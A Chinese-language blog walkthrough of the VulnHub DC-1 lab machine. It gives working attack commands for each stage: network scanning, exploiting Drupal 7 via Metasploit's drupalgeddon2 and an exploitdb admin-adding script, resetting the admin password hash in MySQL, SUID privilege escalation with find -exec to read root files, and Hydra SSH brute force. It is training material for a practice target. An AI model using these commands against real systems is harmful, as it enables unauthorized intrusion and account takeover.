Vulhub靶机:DC-1


考完研没什么事,终于可以安心搞技术了。打算刷一波Vulhub的靶场,文中如有欠妥的地方还希望各位师傅指正。

Vulhub DC-1

靶机DC-1下载地址:https://download.vulnhub.com/dc/DC-1.zip

靶机描述:靶机DC-1共有5个flag,并且需要root权限才可以找到并查看flag。

靶机IP:192.168.1.146
Kali IP:192.168.1.147

靶机与kali以NAT模式连接网络

运行部署好的虚拟机,开机提示需要账号密码,但是没有提供密码,需要自己去渗透提权

一、信息收集

由于不知道靶机的IP,这就需要探测同一区域中存活的主机

1.探测目标

方法一 arp-scan

arp-scan使用方法

sudo arp-scan -l
-l 使用网络接口

可以看到,同一区域段的靶机ip 192.168.1.146

方法二 netdiscover

netdiscover -r 192.168.1.0/24

扫描ip段,得到靶机ip 192.168.1.146

方法三 nmap

nmap 192.168.1.0/24

2.查看目标开放端口

nmap -sV -p- 192.168.1.146
-sV 用来扫描目标主机和端口上运行的软件的版本
-p- 扫描0-65535全部端口

在这里我直接使用nmap -A 192.168.1.146

由上图可以看到,该目标开放了ssh服务的22端口、http的80、apache 111的rpcbind等。
可以直接访问80端口,查看站点信息。

Server:Apache/2.2.22 (Debian)
Vary:Accept-Encoding
X-Generator :Drupal 7 (http://drupal.org)
X-Powered-By :PHP/5.4.45-0+deb7u14

二、漏洞利用

1.漏洞查找

掏出神器msf,使用Metasploit搜索针对Drupal的模块。

2.漏洞利用

选择合适的版本,使用第四个exploit/unix/webapp/drupal_drupalgeddon2模块打,配置这个模块即可。

Use exploit/unix/webapp/drupal_drupalgeddon2
Show options //查看需要配置项
set rhosts 192.168.1.146
设置远程主机的IP为靶机的IP地址192.168.1.146

3.Getshell


成功弹回shell,直接使用ls查看目录,拿到flag1.txt

flag1
每一个好的CMS都需要一个配置文件,你也一样。

搜索到Drupal的默认配置文件为 /var/www/sites/default/settings.php
直接cat配置文件,可以看到flag2及数据库的账号密码。

flag2
蛮力和字典攻击不行,唯一方法是获得访问权限(你将需要访问的)。你能用这些凭证做什么?

如果我们继续使用这个普通的shell登录数据库,可以发现回显不完全,这时候就需要弹一个交互式的shell,方便我们下一步的操作。

python -c ‘import pty; pty.spawn(“/bin/bash”)’


紧接着使用flag2得到的数据库账号密码登录数据库

mysql -udbuser -p
Enter password:R0ck3t

查看数据库,在drupaldb库users表中发现admin用户



可以看到admin用户的密码被加密了,但是我们可以想办法修改密码或新增一个admin权限的用户,从而达到登录站点后台的目的。

方法一 利用自带加密脚本更新密码

Drupal 7采用了新型的Hash加密方法来确保密码安全。“加了盐(Salt)”的MD5码。
在Drupal 7的安装目录中的scripts目录下,是Drupal 7开发者提供的PHP脚本,其中包含了MD5加密算法脚本:password-hash.sh,可以利用脚本直接生成。
当然也可以利用网络搜索该cms框架忘记密码的解决办法,官方有提供现成的明文和密文。

./scripts/password-hash.sh 123456
password: 123456
hash: $S$DbpIRKV5QXrJK4Gbhb.LDFoTjqoYNKAOB.DY3V1BL.JMbMkZANhY

更新admin密码为123456

update drupaldb.users set pass=”$S$DbpIRKV5QXrJK4Gbhb.LDFoTjqoYNKAOB.DY3V1BL.JMbMkZANhY” where uid=1;

方法二 利用漏洞添加新用户

拿到users表信息,发现破解不了密码,我们可以尝试去exploitdb中看看有没有攻击admin的脚本。

可以看到在exploitdb中有一个针对Drupal 7版本的攻击脚本,可以增加一个admin权限的用户。

python /usr/share/exploitdb/exploits/php/webapps/34992.py -t http://192.168.1.146 -u test -p test



接下来使用添加成功的test/test用户登陆后台,在Content模块中发现flag3。

flag3
Special PERMS will help FIND the passwd - but you’ll need to -exec that command to work out how to get what’s in the shadow.

由于flag3提示词有perms、find、-exec、shadow共四个特殊提示词,所以这里应该要查看shadow文件,并使用find命令提权。

/etc/passwd 是一个纯文本文件。它存储用户帐户信息。它包含系统帐户的列表,为每个帐户提供一些有用的信息,如用户 ID、组 ID、主目录、shell等详情。
而etc/shadow是/etc/passwd的影子文件,存有密码信息。

根据之前的提示,cat /etc/passwd可以发现flag4用户

进入flag4用户的目录下,发现flag4.txt文件,并给予提示flag in root(在这里我感觉权限没有做好,应该是提权之后才可以访问flag4的目录,这样比较合理)

flag4
Can you use this same method to find or access the flag in root?
Probably. But perhaps it’s not that easy. Or maybe it is?

flag4提示flag在root目录下,在/root下发现thefinalflag.txt,但是没有读取的权限

根据flag3的提示,我们考虑find命令作为突破口。

SUID提权的思路: 以普通用户身份运行root用户所拥有的SUID的文件,那么普通用户运行该文件的时候就得获得root用户的身份了。

使用以下命令可以发现系统上运行的所有SUID可执行文件。

find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} ;

我们在之前拿到的shell中使用find命令查找具有root权限的SUID的文件。

find / -user root -perm -4000 -print 2>/dev/null


这里使用find命令,因为它可以使用root权限,根据flag4的提示,flag in root,执行命令:find /root 可以看到有一个thefinalflag.txt,为了获得文件内容,可以利用exec后面的命令直接抓取该文件。

find /root/thefinalflag.txt -exec cat {} ;


上图可以看到已经利用成功,拿到flag。

flag5
Well done!!!!
Hopefully you’ve enjoyed this and learned some new skills.
You can let me know what you thought of this little journey
by contacting me via Twitter - @DCAU7

三、总结

1.局域网存活主机发现

sudo arp-scan -l arp-scan使用方法

sudo netdiscover -i eth0 netdiscover使用方法

nmap 192.168.1.0/24 nmap使用方法

2.漏洞查找与利用

神器MSF的使用MSF使用方法

3.suid提权

suid提权1
suid提权2
find命令exec

4.交互shell

交互shell使用方法

5.hydra爆破

sudo hydra -l flag4 -P /usr/share/wordlists/rockyou.txt.gz ssh://192.168.1.146
Hydra爆破使用方法


文章作者: 1cePeak
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 1cePeak !
评论
 本篇
Vulhub靶机:DC-1 Vulhub靶机:DC-1
考完研没什么事,终于可以安心搞技术了。打算刷一波Vulhub的靶场,文中如有欠妥的地方还希望各位师傅指正。 Vulhub DC-1靶机DC-1下载地址:https://download.vulnhub.com/dc/DC-1.zip 靶机描
2021-01-06 1cePeak
下一篇 
2020SCTF 2020SCTF
XCTF联赛分站赛-SCTF题解每次比赛都是本考研🐕为数不多的放松时间,真的开心高考加油~由于Nepnep很多师傅去实习了,所以本次参赛的师傅比较少~ Miscsign-in铁签到了,tg入群即可拿flag Dou dizhu斗地主,永远
2020-07-08 1cePeak
  目录